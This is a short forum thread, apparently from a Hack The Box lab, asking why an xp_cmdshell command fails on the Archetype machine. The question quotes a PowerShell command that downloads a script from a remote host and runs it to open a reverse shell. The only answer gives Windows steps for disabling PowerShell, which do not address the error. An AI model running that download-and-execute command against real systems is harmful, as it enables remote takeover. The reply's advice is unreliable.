Archetype HTB BOW Powershell Error

HTB Content
1

When i type this command To get reverse shell I get this following error:

SQL> xp_cmdshell “powershell “IEX (New-Object Net.WebClient).DownloadString(\”http://10.10.15.171/shell1.ps1\");"
output                                                                             

--------------------------------------------------------------------------------   

'"powershell' is not recognized as an internal or external command,                

operable program or batch file.                                                    

NULL                                                                               

SQL>

I’m at the SQL part where I have to get reverse shell while nc is listening

3

Steps are given below-

Press Windows + R to open Run, enter appwiz.
From the left panel of the main window, click on Turn Windows features on or off.
Scroll down, locate the Windows PowerShell entry, uncheck the option and then click OK.
Restart the computer for the changes to come into effect.

Regards,
Rachel Gomez